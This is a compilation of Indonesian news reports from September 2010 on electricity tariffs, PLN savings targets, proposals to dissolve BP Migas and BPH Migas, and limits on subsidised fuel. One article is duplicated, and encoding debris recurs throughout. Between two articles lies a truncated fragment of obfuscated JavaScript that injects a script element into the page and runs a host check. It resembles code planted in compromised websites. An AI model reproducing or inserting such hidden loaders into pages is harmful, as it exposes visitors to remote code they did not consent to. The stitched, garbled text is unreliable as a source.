Penghematan PLN butuh jaminan pasokan batu bara

Bisinis Indonesia,A�24 September 2010

JAKARTA –A�Pemerintah harus benar-benar menjamin ketersediaan batu bara dan gas untuk bahan bakar pembangkit PT Perusahaan Listrik Negara (Persero) sehingga target penghematan pada 2011 sebesar Rp8,1 triliun yang dibebankan kepada perseroan itu bisa tercapai.

Pengamat energi dan Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto menilai target pemerintah menekan biaya pokok penyediaan (BPP) listrik 2011 untuk mengkompensasi tidak adanya kenaikan tarif dasar listrik (TDL) tahun depan, cukup realistis.

Namun, kata dia, tentunya perlu dukungan dan peran serta pemerintah agar perusahaan listrik pelat merah tidak terkendala dalam hal pemenuhan kebutuhan bahan bakar operasionalnya.

“Tentu saja PLN tidak bisa disuruh bekerja sendiri. Pemerintah juga harus menjamin ketersediaan batu bara dan gas PLN. Itu [tidak menaikkan TDL 2011] keputusan positif,” tutur dia, hari ini.Pada dasarnya, kata dia, keputusan pemerintah dan Komisi VII DPR RI untuk tidak menaikkan TDL 2011 memang sudah seharusnya dan tidak perlu dilakukan, mengingat semakin banyaknya pembangkit listrik batu bara dari program 10.000 MW yang beroperasi sehingga menurunkan BPP listrik.

Menurut dia, naik atau tidaknya TDL sangat ditentukan bagaimana pemerintah dan DPR menetapkan besaran anggaran subsidinya. Bahkan, lanjut dia, sebenarnya potensi penghematan BPP listrik dengan mengganti BBM dengan batu bara dan gas diperkirakan bisa mencapai Rp26 triliun lebih.

“Pemerintah kan bisa saja menjamin ketersediaan batu bara dan gas PLN dengan kebijakan misalnya DMO [domestic market obligation/wajib pasok dalam negeri] dengan pembelian batu bara seharga pasar, serta merrenegosiasi ekspor gas untuk PLN.”

Hanya saja, lanjut Pri, target penghematan PLN sebesar Rp2,3 triliun pada 2011 dengan pemanfaatan gas 240 MMscfd dari terminal penerima gas alam cair (liquefied natural gas/LNG) sangat tidak realistis karena dikhawatirkan pembangunannya tidak akan selesai pada tahun depan.

 

‘Kenaikan TDL Itu Tergantung Subsidi Pemerintah’

REPUBLIKA.CO.ID, 24 September 2010

JAKARTA– Di mata Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto, pembatalan kenaikan taif dasar listrik (TDL) merupakan langkah positif. ”Memang kenaikan itu tidak perlu dan sebenarnya sangat ditentukan bagaimana pemerintah dan DPR menetapkan besaran anggaran subsidinya,” kata Pri Agung, Jumat (24/9).

Di samping itu lanjut Pri Agung, kenaikan itu juga memang tidak perlu karena desngan makin banyaknya pembangkit listrik batu bara dari program 10 ribu MW yang beroperasi, maka BPP listrik akan turun. ”Penghematan 8,1 triliun itu masih realistis. Potensi penghematan BPP dengan mengganti BBM dengan batubara dan gas sebenarnya bahkan bisa mencapai 26 triliun lebih,” tutur dia.

Tentunya, diingatkan Pri Agung, PLN jangan disuruh bekerja sendiri. ”Pemerintah juga harus menjamin ketersedian batubara dan gas PLN tersebut dengan kebijakan misalnya DMO atau membeli batubara domestik dengan harga pasar, atau renegosiasi ekspor gas yang ke Singapura misalnya,” tuturnya.

Ia menilai yang mungkin tidak realistis dalam hal ini adalah tentang penghematan dari pembangunan receiving LNG. Karena sepertinya tidak akan selesai di tahun 2011. ”Tapi jika konsumsi BBM PLN bisa ditekan ke 4,4 jt KL, angka itu tetap realistis. Butuh kerja keras memang,” kata dia.

Seperti diberitakan sebelumnya, anggota Komisi VII DPR RI dari Fraksi Golkar, Satya W. Yudha menyatakan bahwa Komisi VII DPR telah menolak usulan pemerintah terkait rencana kenaikan TDL sebesar 5,4 persen pada awal 2011. ”Pada prinsipnya tidak akan ada kenaikan TDL pada 2011 nanti seperti yang diinginkan pemerintah sebesar 5,4 persen, paling tidak sampai April 2012 aman tidak akan ada kenaikan,” kata Satya kepada Republika, Jumat (24/9).

Menurut Satya kebutuhan subsidi untuk listrik sebesar Rp 41,02 triliun dalam RAPBN 2011 bisa ditutupi dengan melakukan efisiensi di tubuh PLN. Satya yang juga anggota Badan Anggaran DPR menambahkan, pemerintah tidak bisa seenaknya menaikan TDL dalam rangka menekan subsidi.

Ia melanjutkan, masih banyak cara lain yang bisa dilakukan. ”Diantaranya dengan optimalisasi energi primer, mengganti BBM ke gas atau batu bara atau mengefisiensikan operating cost lainnya di PLN,” tegas Satya.

Hal senada juga ditegaskan anggota Komisi VII dari Fraksi PDI-P, Dewi Aryani Hilman. Menurut Dewi keputusan tidak ada kenaikan TDL sudah final. ”DPR bisa menghentikan rencana pemerintah untuk menaikan TDL setelah melalui perdebatan panjang, jadi tidak ada kenaikan TDL,” ujarnya.

Meski demikian subsidi, kata Dewi, tetap diberlakukan karena yang mengurus rakyat sudah menjadi tugas pemerintah. ”Kita juga mendorong pemerintah untuk melakukan efisiensi di segala bidang. Untuk itu kita minta pemerintah menyampaikan presentasi reformasi birokrasi dan redesign program mereka ke Komisi 7,” tandas Dewi.REPUBLIKA.CO.ID, JAKARTA– Di mata Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto, pembatalan kenaikan taif dasar listrik (TDL) merupakan langkah positif. ”Memang kenaikan itu tidak perlu dan sebenarnya sangat ditentukan bagaimana pemerintah dan DPR menetapkan besaran anggaran subsidinya,” kata Pri Agung, Jumat (24/9).

Di samping itu lanjut Pri Agung, kenaikan itu juga memang tidak perlu karena dengan makin banyaknya pembangkit listrik batu bara dari program 10 ribu MW yang beroperasi, maka BPP listrik akan turun. ”Penghematan 8,1 triliun itu masih realistis. Potensi penghematan BPP dengan mengganti BBM dengan batubara dan gas sebenarnya bahkan bisa mencapai 26 triliun lebih,” tutur dia.

Tentunya, diingatkan Pri Agung, PLN jangan disuruh bekerja sendiri. ”Pemerintah juga harus menjamin ketersedian batubara dan gas PLN tersebut dengan kebijakan misalnya DMO atau membeli batubara domestik dengan harga pasar, atau renegosiasi ekspor gas yang ke Singapura misalnya,” tuturnya.

Ia menilai yang mungkin tidak realistis dalam hal ini adalah tentang penghematan dari pembangunan receiving LNG. Karena sepertinya tidak akan selesai di tahun 2011. ”Tapi jika konsumsi BBM PLN bisa ditekan ke 4,4 jt KL, angka itu tetap realistis. Butuh kerja keras memang,” kata dia.

Seperti diberitakan sebelumnya, anggota Komisi VII DPR RI dari Fraksi Golkar, Satya W. Yudha menyatakan bahwa Komisi VII DPR telah menolak usulan pemerintah terkait rencana kenaikan TDL sebesar 5,4 persen pada awal 2011. ”Pada prinsipnya tidak akan ada kenaikan TDL pada 2011 nanti seperti yang diinginkan pemerintah sebesar 5,4 persen, paling tidak sampai April 2012 aman tidak akan ada kenaikan,” kata Satya kepada Republika, Jumat (24/9).

Menurut Satya kebutuhan subsidi untuk listrik sebesar Rp 41,02 triliun dalam RAPBN 2011 bisa ditutupi dengan melakukan efisiensi di tubuh PLN. Satya yang juga anggota Badan Anggaran DPR menambahkan, pemerintah tidak bisa seenaknya menaikan TDL dalam rangka menekan subsidi.

Ia melanjutkan, masih banyak cara lain yang bisa dilakukan. ”Diantaranya dengan optimalisasi energi primer, mengganti BBM ke gas atau batu bara atau mengefisiensikan operating cost lainnya di PLN,” tegas Satya.

Hal senada juga ditegaskan anggota Komisi VII dari Fraksi PDI-P, Dewi Aryani Hilman. Menurut Dewi keputusan tidak ada kenaikan TDL sudah final. ”DPR bisa menghentikan rencana pemerintah untuk menaikan TDL setelah melalui perdebatan panjang, jadi tidak ada kenaikan TDL,” ujarnya.

Meski demikian subsidi, kata Dewi, tetap diberlakukan karena yang mengurus rakyat sudah menjadi tugas pemerintah. ”Kita juga mendorong pemerintah untuk melakukan efisiensi di segala bidang. Untuk itu kita minta pemerintah menyampaikan presentasi reformasi birokrasi dan redesign program mereka ke Komisi 7,” tandas Dewi.

Pembubaran BP dan BPH Migas Dimungkinkan

Media Indonesia, 22 September 2010

JAKARTA–MI: Rencana revisi undang-undang minyak dan gas bumi (migas) Nomor 22/2001 masih belum menunjukkan tanda akan dimulai. Namun sebagian kalangan menilai revisi UU ini berpeluang untuk tidak memperpanjang keberadaan badan pelaksana kegiatan usaha hulu (BP Migas) dan Badan Pengatur Hilir (BPH) Migas.

“Di sektor hulu, revisi ini harus mencakup pengembalian kuasa pertambangan ke Pertamina dan atau setidaknya menetapkan bahwa Pertamina diberi keutamaan (priviledge) untuk mengelola blok migas yang habis masa kontraknya,” ujar Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto dalam diskusi tentang keberpihakan negara dalam pengelolaan sektor migas di Jakarta, Rabu (22/9).

Menurutnya, bila kedua hal tersebut dilakukan hal itu merupakan wujud konkrit keberpihakan negara terhadap perusahaan migas negara di dalam akses penguasaan dan pengelolaan migas nasional.

Kewenangan BP Migas selaku lembaga pengatur di sektor hulu migas sekaligus menjadi wakil pemerintah dalam kontrak kerjasama dengan operator migas tidak justru mempersempit peluang keberpihakan itu.

“Karena itu kewenangan tersebut lebih baik dikembalikan kepada pemerintah sehingga perusahaan migas nasional bisa diprioritaskan untuk berkembang secara maksimal,” ujarnya.

Sementara di sektor hilir, peran BPH Migas bisa digabungkan dengan fungsi Direktorat Jenderal Migas Kementerian Energi dan Sumber Daya Mineral (ESDM).

“Peran Ditjen Migas dalam regulasi dan pengawasan di hilir termasuk dalam masalah BBM bersubsidi perlu diperkuat. Opsi menggabungkan BPH Migas ke dalam Ditjen Migas oleh karenanya menjadi logis,” ujarnya.

Hal senada diungkapkan anggota Komisi VII DPR dari Fraksi Partai Persatuan Pembangunan (PPP) Romahurmuziy.

“Pada dasarnya keberadaan BP Migas di sisi hulu tidak memiliki kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional. Karena itu kami menginginkan dalam format Undang-Undang ke depan, BP Migas dan BPH Migas itu ditiadakan dan dikembalikan kepada institusi dengan format yang lebih transparan,” tuturnya.

Usulan peniadaan kedua lembaga tersebut, imbuhnya, akan menjadi salah satu pertimbangan dalam revisi UU Migas No 22 Tahun 2001.

Menurutnya, ada persoalan mendasar dalam keberadaan BP Migas yang sampai sekarang masih belum tuntas yakni transparansi keuangan.

“Padahal, BP Migas mendapatkan bagian penerimaan dari setiap kontrak yang ditandatangani. Tapi itu bukan merupakan wilayah DPR. Jadi memang transparansinya belum tercapai,” ujarnya.

Selain itu, imbuhnya, tata kelola BP Migas sama seperti perseroan terbatas (PT), bisa saja membahayakan negara. “Jika BP Migas bangkrut, konsekuensi itu tentu menjadi tanggung jawab negara. Selain itu selama ini BP Migas terus menjadi bottleneck dengan lambannya persetujuan proposal rencana pengembangan (plan of development/PoD) dan persetujuan work program and budget (WPB) pengelolaan lapangan migas,” ujarnya.

Ia juga sependapat fungsi serta tugas dalam pengawasan dan pengaturan hilir yang selama ini dijalankan BPH Migas juga seharusnya dikembalikan kepada pemerintah.

“Begitu juga dengan keberadaan BPH Migas untuk sektor hilir, seharusnya diambil-alih oleh pemerintah dalam hal ini Ditjen Migas. Penetapan harga minyak dan gas itu kan tetap di tangan pemerintah,” pungkasnya. (Jaz/OL-3)

Bisnis today: ‘Negara harus kuasai migas’

Bisnis Indonesia.com, 23 September 2010

Badan pelaksana dan pengatur sumber daya diusulkan dihapus – ‘Negara harus kuasai migas’

JAKARTA: Akses penguasaan sumber daya minyak dan gas bumi sudah seharusnya dikuasai negara sehingga pemerintah memiliki posisi dan fungsi kuat untuk mewujudkan keberpihakan terhadap kepentingan dalam negeri.

Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto mendesak pemerintah dan DPR untuk menata ulang kebijakan migas yang tertuang dalam UU No. 22 /2001 tentang Minyak dan Gas Bumi.

Penyusunan desain induk pengelolaan migas nasional mutlak diperlukan mengingat masih lemahnya posisi pemerintah dalam pengelolaan migas.

“Akses penguasaan sumber daya itu harus tetap dipegang oleh negara, dalam hal ini melalui badan usaha milik negara [BUMN]. Untuk itu, UU Migas ini harus dibenahi lebih dulu,” tutur Pri Agung di sela diskusi bertema Peran dan Keberpihakan Negara Dalam Pengelolaan Migas Nasional kemarin.

Langkah konkret yang perlu dilakukan saat ini, lanjut dia, yaitu memberikan kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional kepada BUMN. Kondisi sebaliknya yang terjadi sekarang justru kewenangan itu ada pada badan atau aparat pemerintah, di bawah pengawasan Kementerian ESDM cq Ditjen Migas.

Direktur Operasi PT Pertamina EP Bagus Sudaryanto mengatakan pemberian prioritas pengelolaan ladang migas kepada perusahaan nasional, baik BUMN maupu swasta, sebelumnya dijanjikan akan diatur pemerintah dalam sebuah Permen ESDM. Namun, hingga kini regulasi tersebut belum terwujud.

Bagus mengatakan prioritas pada tahap awal setidaknya diberikan untuk kontrak-kontrak migas yang segera diterminasi.

Menurut dia, perlu ada ketegasan dari pemerintah bahwa seluruh kontrak migas yang dinyatakan berakhir dikembalikan kepada negara. Selanjutnya, pengelolaannya diprioritaskan kepada perusahaan migas nasional, baik BUMN maupun swasta.

Sudah siap

Terkait dengan kesiapan Pertamina untuk mengelola ladang migas nasional ke depan, Bagus mengatakan perusahaan sudah sangat siap, baik secara teknis maupun finansial. Bahkan, tuturnya, dari beberapa lapangan yang sudah diambil alih, seperti UBEP Sangasangan-Tarakan, UBEP Limau, dan PHE ONWJ, mengalami peningkatan produksi.

Anggota Komisi VII DPR Romahurmuziy mendesak pemerintah untuk meniadakan Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) dan Badan Pengatur Hilir Minyak dan Gas Bumi (BPH Migas) karena keberadaan dua badan itu hanya merugikan negara.

Dia menilai pada dasarnya keberadaan BP Migas di sisi hulu tidak memiliki kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional. Sementara itu, fungsi serta tugas dalam pengawasan dan pengaturan hilir yang selama ini dijalankan BPH Migas juga seharusnya dikembalikan kepada Kementerian ESDM.

Menurut dia, ada persoalan mendasar dari keberadaan BP Migas yang sampai sekarang masih belum tuntas a.l. dalam hal transparansi keuangan. Padahal, BP Migas mendapatkan bagian penerimaan dari setiap kontrak yang ditandatangani.

Selain itu, tata kelola BP Migas sama seperti perseroan terbatas, bisa saja membahayakan negara. Alasannya, jika BP Migas bangkrut maka konsekuensi itu menjadi tanggung jawab negara.

Yang lebih memprihatinkan, lanjut dia, selama ini BP Migas terus menjadi bottleneck dengan lambannya persetujuan proposal rencana pengembangan dan persetujuan work program and budget pengelolaan lapangan migas.

“Beberapa blok terakhir yang disetujui BP Migas itu melonjak signifikan, seperti Tangguh, Cepu, dan Senoro. Untuk itu, kita harus mengembalikan BP Migas ini pada format sebenarnya.”

Begitu juga dengan keberadaan BPH Migas untuk sektor hilir, seharusnya diambil alih oleh pemerintah dalam hal ini Ditjen Migas.

Mantan Wapres Jusuf Kalla berpendapat revisi UU Migas sebaiknya harus mempunyai substansi iktikad baik. “Kembalilah pada pasal 33 UUD 1945, bahwa sumber daya yang menguasai hajat hidup orang banyak dimanfaatkan sebesar-besarnya untuk kepentingan negara.”

Dalam struktur berbangsa, ujar Kalla, seluruh aturan mulai dari Undang-Undang Dasar, UU, peraturan pemerintah, keppres, serta kepmen, pada dasarnya bisa diubah dan diatur untuk kepentingan nasisonal.

“Kalau UU tidak lengkap, ya di revisi atau dilengkapi dengan PP, keppres dan seterusnya. Yang terpenting berpihak sebesar-besarnya kepada bangsa. (Neneng Herbawati/Aprilian Hermawan/er)

Pembatasan BBM Subsidi Dinilai tidak Mungkin Tahun Ini

Republika, 15 September 2010

REPUBLIKA.CO.ID,JAKARTA–Pengamat energi Pri Agung Rakhmanto menilai pembatasan penggunaan BBM subsidi tidak mungkin diterapkan tahun ini. Menurut Pri Agung, jika akan diterapkan tahun ini maka waktunya terlalu sempit. ”Kalau untuk tahun ini waktunya sudah terlalu mepet,” kata Pri yang juga Direktur Eksekutif Reforminer Institute ini, Rabu (15/9). Mepetnya waktu ini kata dia baik dari sisi persiapan teknis menyangkut jaminan ketersediaan BBM non subsidi maupun untuk sosialisasinya.

Pri Agung pun menilai jika diterapkan tahun ini tidak akan terlalu efektif. ”Tidak akan efektif untuk tahun ini karena maksimal paling hanya bisa hemat sekitar Rp2,6 triliun,” kata Pri Agung. Itupun lanjut dia jika tidak ada kendala dalam implementasinya.

Sementara itu kata Pri Agung, jika kebijakan ini ini diterapkan pada tahun depan, maka hal itu berpotensi menghemat anggaran hingga Rp 10,5 triliun. ”Itupun jika lancar,” kata dia.

Meski demikian kata Pri Agung tetap saja kebijakan ini merupakan kebijakan nanggung, populis dan tidak menyelesaikan akar masalah ketergantungan energi terhadap BBM. ”Ini hanya solusi instan yang hanya berdampak pada anggaran subsidi di APBN saja tidak lebih,” tandas dia.

[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pembatasan BBM Bersubsidi Hanya Solusi Instan

Media Indonesia, 13 September 2010

JAKARTA–MI: Mundurnya pemberlakuan kebijakan pengendalian konsumsi bahan bakar minyak (BBM) bersubsidi dengan membatasi pemakaian pada kendaraan bermotor menunjukkan ketidaksiapan pemerintah terhadap rencana tersebut. Kebijakan tersebut merupakan solusi instan yang tidak menghapus masalah utama, yakni ketergantungan terhadap BBM.

“Pemerintah belum memiliki rencana yang matang mengenai pembatasan BBM bersubsidi. Dari rencana awalnya saja belum siap, apalagi pengaplikasiannya di lapangan,” ujar Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto kepada Media Indonesia , Senin (13/9).

Ia mengungkapkan, rencana pembatasan BBM bersubsidi ini merupakan rencana lama yang sudah diwacanakan sejak tahun 2008. Namun hingga kini belum ada kebijakan yang matang untuk mendukung wacana pembatasan BBM bersubsidi ini.

“Wacana pembatasan ini selalu ada jika anggaran subsidi untuk BBM meningkat. Namun rencana kongkritnya belum ada hingga sekarang,” kata Pri.

Menurutnya, pemerintah selama ini hanya berkutan dengan masalah pembatasan BBM. Padahal, pembatasan BBM ini hanyalah solusi instan terkait dengan penurunan anggaran untuk subsidi BBM.

“Masalah sebenarnya yang harus diselesaikan pemerintah adalah bagaimana mengurangi ketergantungan masyarakat terhadap BBM. Karena saat ini 70% sumber energi kita adalah BBM,” imbuhnya.

Pri pun mengingatkan, dari tahun ke tahun BBM bersubsidi selalu melebihi kuota yang telah ditetapkan. Meski demikian, ia melihat pemerintah tidak serius dalam menanganinya.

“Dari tahun ke tahun realisasi penggunaan BBM bersubsidi selalu lebih 1-1,5 juta kilo liter dari kuota yang ditetapkan. Namun walaupun realisasi volume terus meningkat, jika anggaran untuk subsidi tetap aman, maka pemerintah tetap tidak melakukan langkah-langkah yang signifikan,” ujarnya.

Untuk itulah, lanjut Pri, yang harus dilakukan pemerintah selain melakukan pembatasan terhadap BBM bersubsidi adalah dengan mengembangkan sumber bahan bakar lain dan mengembangkan transportasi massal. Ia memberi contoh, pengembangan bahan bakar lainnya dapat dilakukan dengan mengembangkan bahan bakar gas (BBG) atau dengan bahan bakar nabati.

“Namun lagi-lagi pengembangan bahan bakar lainnya lagi-lagi hanya menjadi wacana lama. Rencana pengembangan bahan bakar nabati sendiri sudah ada sejak tahun 2005 pada saat kita menaikkan harga BBM sebesar 120 %, namun hingga kini belum ada hasilnya. Padahal jika sejak saat itu sudah diberlakukan, saat ini kita sudah bisa menikmati hasilnya,” tandas Pri. (*/OL-3)

PENGHEMATAN BBM – Larangan Konsumsi Sebaiknya Tahun 2011

Kompas,A�2 Spetember 2010

Jakarta, Kompas – Rencana pemerintah melarang konsumsi bahan bakar minyak bersubsidi khusus bagi pemilik kendaraan roda empat keluaran tahun 2005 ke atas sebaiknya dilakukan awal tahun 2011.

Tujuannya agar ada waktu untuk sosialisasi. Jika dilakukan pada awal tahun depan, penghematan BBM bersubsidi yang dapat diperoleh Rp 10,5 triliun.

Kalau dilakukan tahun 2010, hasilnya tak akan efektif. Tetapi, kalau dijalankan mulai awal tahun, perkiraan kami akan menghemat konsumsi premium sekitar 7,08 juta kiloliter (kl) atau sekitar Rp 10,5 triliun, A�ujar Direktur EksekutifA�Institute ReforminerA�(Lembaga Kajian Reformasi Pertambangan dan Energi) Priagung Rahmanto di Jakarta, Rabu (1/9).

Pemerintah tengah menguji keandalan program larangan penggunaan BBM bersubsidi pada pemilik mobil keluaran tahun 2005 ke atas. Menteri Energi dan Sumber Daya Mineral Darwin Zahedy Saleh memperkirakan akan ada penghematan konsumsi BBM bersubsidi sekitar 2,3 juta kl jika program itu diberlakukan mulai 1 September 2010.

Darwin juga mengusulkan penataan ulang dispenser BBM bersubsidi, terutama untuk daerah elite dan protokol di seluruh Indonesia secara bertahap.

Namun, langkah ini perlu revisi Peraturan Presiden Nomor 55 Tahun 2005 dan Perpres No 9/2006 tentang perubahan atas Perpres No 55/2005 tentang Harga Jual Eceran BBM Dalam Negeri.

Meski demikian, Menko Perekonomian Hatta Rajasa memilih melakukan kebijakan lain, yakni menekan Badan Pengatur Hilir Minyak dan Gas Bumi agar meningkatkan kualitas pengawasan dan pengaturan distribusi BBM bersubsidi, yang selama ini diperkirakan bocor.

Menyalurkan BBM

Sidang Komite Badan Pengatur Kegiatan Hilir Minyak dan Gas Bumi telah menetapkan hanya PT Aneka Kimia Raya (AKR) yang akan mendampingi PT Pertamina (Persero) sebagai pelaksana pendistribusian BBM bersubsidi jenis premium dan solar tahun 2011. Hal ini disebabkan hanya PT AKR yang memenuhi persyaratan komersial yang ditetapkan tim teknis PSO BPH Migas.

Kepala Badan Pengatur Kegiatan Hilir Migas (BPH) Migas Tubagus Haryono dalam siaran pers, Rabu di Jakarta, menegaskan, penunjukan PT AKR karena memenuhi persyaratan komersial. Persyaratan itu antara lain dilihat dari alpha regional yang ditawarkan lebih rendah daripada yang ditetapkan tim teknis PSO BPH Migas.

Atas dasar itu, pihak PT AKR diwajibkan membuat surat pernyataan kesediaan dalam 5 hari dan segera membangun fasilitas penyalur yang harus selesai pada 6 Desember 2010. Kelanjutan pendamping incumbent (AKR dan Petronas) akan dievaluasi sampai akhir November.

Lokasi penugasan untuk pendistribusian premium adalah di satu stasiun pengisian bahan bakar untuk umum (SPBU) di Binjai, Sumatera Utara; 1 SPBU di Kabupaten Tapin, Kalimantan Selatan; 2 agen premium minyak solar (APMS) di Kukar; dan 6 APMS di Kubar, Kalimantan Timur. (oin/EVY)